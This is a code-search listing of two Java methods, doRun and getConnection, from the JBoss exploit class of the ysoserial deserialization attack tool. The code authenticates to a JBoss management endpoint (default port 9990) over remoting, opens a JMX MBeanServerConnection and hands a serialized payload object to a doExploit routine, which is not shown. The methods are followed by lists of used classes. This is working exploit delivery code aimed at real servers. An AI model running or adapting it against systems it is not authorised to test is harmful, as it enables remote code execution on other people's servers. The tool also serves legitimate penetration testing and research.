Search in sources :

Example 1 with ConnectionProvider

use of org.jboss.remoting3.spi.ConnectionProvider in project ysoserial by frohoff.

the class JBoss method doRun.

private static void doRun(URI u, final Object payloadObject, String username, String password) {
    ConnectionProvider instance = null;
    ConnectionProviderContextImpl context = null;
    ConnectionHandler ch = null;
    Channel c = null;
    VersionedConnection vc = null;
    try {
        Logger logger = LogManager.getLogManager().getLogger("");
        logger.addHandler(new ConsoleLogHandler());
        logger.setLevel(Level.INFO);
        OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
        context = new ConnectionProviderContextImpl(options, "endpoint");
        instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
        String host = u.getHost();
        int port = u.getPort() > 0 ? u.getPort() : 9990;
        SocketAddress destination = new InetSocketAddress(host, port);
        ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
        ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
        c = getChannel(context, ch, options);
        System.err.println("Connected");
        vc = makeVersionedConnection(c);
        MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
        doExploit(payloadObject, mbc);
        System.err.println("DONE");
    } catch (Throwable e) {
        e.printStackTrace(System.err);
    } finally {
        cleanup(instance, context, ch, c, vc);
    }
}
Also used : ConnectionHandlerFactory(org.jboss.remoting3.spi.ConnectionHandlerFactory) InetSocketAddress(java.net.InetSocketAddress) Channel(org.jboss.remoting3.Channel) Logger(java.util.logging.Logger) Endpoint(org.jboss.remoting3.Endpoint) ConnectionProvider(org.jboss.remoting3.spi.ConnectionProvider) ConnectionHandler(org.jboss.remoting3.spi.ConnectionHandler) OptionMap(org.xnio.OptionMap) HttpUpgradeConnectionProviderFactory(org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory) VersionedConnection(org.jboss.remotingjmx.VersionedConnection) SocketAddress(java.net.SocketAddress) InetSocketAddress(java.net.InetSocketAddress) MBeanServerConnection(javax.management.MBeanServerConnection)

Example 2 with ConnectionProvider

use of org.jboss.remoting3.spi.ConnectionProvider in project ysoserial by frohoff.

the class JBoss method getConnection.

private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password, ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options) throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
    XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
    FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
    instance.connect(null, destination, options, result, new CallbackHandler() {

        public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
            for (Callback cb : callbacks) {
                if (cb instanceof NameCallback) {
                    ((NameCallback) cb).setName(username);
                } else if (cb instanceof PasswordCallback) {
                    ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
                } else if (!(cb instanceof RealmCallback)) {
                    System.err.println(cb);
                    throw new UnsupportedCallbackException(cb);
                }
            }
        }
    }, xnioSsl);
    System.err.println("waiting for connection");
    IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
    Status s = ioFuture.await(5, TimeUnit.SECONDS);
    if (s == Status.FAILED) {
        System.err.println("Cannot connect");
        if (ioFuture.getException() != null) {
            ioFuture.getException().printStackTrace(System.err);
        }
    } else if (s != Status.DONE) {
        ioFuture.cancel();
        System.err.println("Connect timeout");
        System.exit(-1);
    }
    ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
    return chf;
}
Also used : Status(org.xnio.IoFuture.Status) CallbackHandler(javax.security.auth.callback.CallbackHandler) XnioSsl(org.xnio.ssl.XnioSsl) JsseXnioSsl(org.xnio.ssl.JsseXnioSsl) ConnectionHandlerFactory(org.jboss.remoting3.spi.ConnectionHandlerFactory) IOException(java.io.IOException) PasswordCallback(javax.security.auth.callback.PasswordCallback) Callback(javax.security.auth.callback.Callback) RealmCallback(javax.security.sasl.RealmCallback) NameCallback(javax.security.auth.callback.NameCallback) NameCallback(javax.security.auth.callback.NameCallback) FutureResult(org.xnio.FutureResult) JsseXnioSsl(org.xnio.ssl.JsseXnioSsl) PasswordCallback(javax.security.auth.callback.PasswordCallback) UnsupportedCallbackException(javax.security.auth.callback.UnsupportedCallbackException) RealmCallback(javax.security.sasl.RealmCallback)

Aggregations

ConnectionHandlerFactory (org.jboss.remoting3.spi.ConnectionHandlerFactory)2 IOException (java.io.IOException)1 InetSocketAddress (java.net.InetSocketAddress)1 SocketAddress (java.net.SocketAddress)1 Logger (java.util.logging.Logger)1 MBeanServerConnection (javax.management.MBeanServerConnection)1 Callback (javax.security.auth.callback.Callback)1 CallbackHandler (javax.security.auth.callback.CallbackHandler)1 NameCallback (javax.security.auth.callback.NameCallback)1 PasswordCallback (javax.security.auth.callback.PasswordCallback)1 UnsupportedCallbackException (javax.security.auth.callback.UnsupportedCallbackException)1 RealmCallback (javax.security.sasl.RealmCallback)1 Channel (org.jboss.remoting3.Channel)1 Endpoint (org.jboss.remoting3.Endpoint)1 HttpUpgradeConnectionProviderFactory (org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory)1 ConnectionHandler (org.jboss.remoting3.spi.ConnectionHandler)1 ConnectionProvider (org.jboss.remoting3.spi.ConnectionProvider)1 VersionedConnection (org.jboss.remotingjmx.VersionedConnection)1 FutureResult (org.xnio.FutureResult)1 Status (org.xnio.IoFuture.Status)1